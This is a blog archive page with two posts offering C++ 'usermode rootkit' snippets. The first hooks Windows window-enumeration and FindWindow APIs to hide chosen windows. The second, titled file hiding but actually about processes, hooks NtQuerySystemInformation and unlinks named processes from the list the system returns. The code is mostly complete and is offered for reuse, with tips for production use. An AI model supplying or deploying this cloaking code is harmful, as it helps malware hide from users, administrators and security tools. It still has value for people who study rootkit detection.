Archive

Posts Tagged ‘undocumented’

Usermode Window Hiding

April 30th, 2009

Yet another example of usermode rootkit tech. This one is designed to hide windows. One very important note for this is that the Enum* collection of hooks are NOT thread safe. It’s not hard to do, but I have decided to omit that for personal reasons.

// Hook EnumWindows
APIHook g_EnumWindows(”user32.dll”, “EnumWindows”, (PROC) EnumWindows_Hook);
// Hook EnumChildWindows
APIHook g_EnumChildWindows(”user32.dll”, “EnumChildWindows”, (PROC) EnumChildWindows_Hook);
// Hook EnumThreadWindows
APIHook g_EnumThreadWindows(”user32.dll”, “EnumThreadWindows”, (PROC) EnumThreadWindows_Hook);

// Hook FindWindowA
APIHook g_FindWindowA(”user32.dll”, “FindWindowA”, (PROC) FindWindowA_Hook);
// Hook FindWindowW
APIHook g_FindWindowW(”user32.dll”, “FindWindowW”, (PROC) FindWindowW_Hook);
// Hook FindWindowExA
APIHook g_FindWindowExA(”user32.dll”, “FindWindowExA”, (PROC) FindWindowExA_Hook);
// Hook FindWindowExW
APIHook g_FindWindowExW(”user32.dll”, “FindWindowExW”, (PROC) FindWindowExW_Hook);

WNDENUMPROC EnumCallback = NULL;
WNDENUMPROC EnumChildCallback = NULL;
WNDENUMPROC EnumThreadCallback = NULL;

BOOL CALLBACK EnumWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumCallback(hwnd, lParam);
}

BOOL CALLBACK EnumChildWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumChildWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumChildCallback(hwnd, lParam);
}

BOOL CALLBACK EnumThreadWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumThreadWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumThreadCallback(hwnd, lParam);
}

BOOL WINAPI EnumWindows_Hook(WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumCallback = lpEnumFunc;
return ((tEnumWindows)(PROC)(g_EnumWindows))(EnumWindowsFilterProc,lParam);
}

BOOL WINAPI EnumChildWindows_Hook(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumChildCallback = lpEnumFunc;
return ((tEnumChildWindows)(PROC)(g_EnumChildWindows))(hWndParent,EnumChildWindowsFilterProc,lParam);
}

BOOL WINAPI EnumThreadWindows_Hook(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
{
EnumThreadCallback = lpfn;
return ((tEnumThreadWindows)(PROC)(g_EnumThreadWindows))(dwThreadId,EnumThreadWindowsFilterProc,lParam);
}

HWND WINAPI FindWindowA_Hook(LPCSTR lpClassName,LPCSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpClassName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}

return ((tFindWindowA)(PROC)(g_FindWindowA))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowW_Hook(LPCWSTR lpClassName, LPCWSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpWindowName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowW)(PROC)(g_FindWindowW))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowExA_Hook(HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass,
LPCSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExA)(PROC)(g_FindWindowExA))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

HWND WINAPI FindWindowExW_Hook(HWND hWndParent,HWND hWndChildAfter, LPCWSTR lpszClass,
LPCWSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExW)(PROC)(g_FindWindowExW))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

Notes:

  • Would love to hear comments/suggestions
  • There are some minor bugs you’ll need to take care of if you want to use this in a production environment
  • Not thread safe

Usermode File Hiding

April 27th, 2009

Another snippet from one of my projects. This time designed to hide processes by name.

Tested and working on both x86 and x64. Again, actual implementation of hooking engine and undocumented structures is left as an exercise to the reader.

// Detour function for NtQuerySystemInformation
// TODO: Add extra checks and cloaks for other information than processes (debuggers,
// etc)
// TODO: Fix return value in cases where all processes are hidden (with exception,
// see notes)
// TODO: Add logging for any unknown system information classes that aren’t being
// specifically ignored
// Note: Do not totally unlink all processes, as long as System Idle Process is left
// on everything is fine, but if you remove that the system will likely crash
// TODO: Fix the detection hole in the couple of classes that can still enumerate
// processes but that aren’t being handled.
NTSTATUS WINAPI NtQuerySystemInformation_Hook(
__in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout    PVOID SystemInformation,
__in       ULONG SystemInformationLength,
__out_opt  PULONG ReturnLength)
{
// Call the original function to get the data we need
NTSTATUS RetVal = ((tNtQuerySystemInformation)(PROC)(g_NtQuerySystemInformation))(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);

// Make sure we’re working with valid and expected data
if (RetVal != STATUS_SUCCESS)
return RetVal;

// SPI structure pointers to manipulate the ‘linked list’ with.
PSYSTEM_PROCESS_INFORMATION_C pSpiCurrent = 0, pSpiPrevious = 0;

switch (static_cast<SYSTEM_INFORMATION_CLASS_C>(SystemInformationClass))
{
case SystemProcessInformation_C:
// Set the pointers to their defaults
pSpiCurrent = pSpiPrevious = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION_C>(SystemInformation);
break;
case SystemSessionProcessesInformation_C:
// Set the pointers to their defaults
pSpiCurrent = pSpiPrevious = reinterpret_cast<PSYSTEM_SESSION_PROCESS_INFORMATION_C>(SystemInformation)->Buffer;
break;
default:
return RetVal;
}

// Just run until we run out of processes to process.
for (;;)
{
// Get process name
PWSTR ImageName = pSpiCurrent->ImageName.Buffer;
std::wstring ProcessName(ImageName ? ImageName : L”");
// Convert to lowercase for case insensitive compares
std::transform(ProcessName.begin(),ProcessName.end(),ProcessName.begin(),tolower);

// Check if the process should be cloaked
if (Config::Get()->ShouldHideProcess(ProcessName))
{
// Debug output
WDBGOUT(L”NtQuerySystemInformation called! Hiding process: \”"
<< ProcessName << L”\”.”);

// Check if we hit the end of the list
if (pSpiCurrent->NextEntryOffset == 0)
{
// End of list
// Unlink process
pSpiPrevious->NextEntryOffset = 0;
break;
}
else
{
// Not end of list
// Unlink process
pSpiPrevious->NextEntryOffset +=
pSpiCurrent->NextEntryOffset;
}
}
else
{
// Process should not be cloaked

// Check if we hit the end of the list
if (pSpiCurrent->NextEntryOffset == 0)
break;

// Set pointer ready for next iteration
pSpiPrevious = pSpiCurrent;
}

// Move to next process
pSpiCurrent =
reinterpret_cast<PSYSTEM_PROCESS_INFORMATION_C>(
reinterpret_cast<PBYTE>(pSpiCurrent) +
pSpiCurrent->NextEntryOffset);
}

// Return the value from the trampoline.
// TODO: This could potentially cause problems if ALL processes are hidden.
// Although this should NEVER happen its still a concern. Reverse the appropriate
// return code and implement. Priority: 5
return RetVal;
}

Notes:

  • WDBGOUT is a logging macro, feel free to remove the lines using it or provide your own implementation, it won’t break anything.
  • Minor bugs and flaws. Most are outlined in the comments, a couple were omitted, finding and fixing them is again left as an exercise for the reader.
  • If you find any bugs or have any comments I’d love to hear them.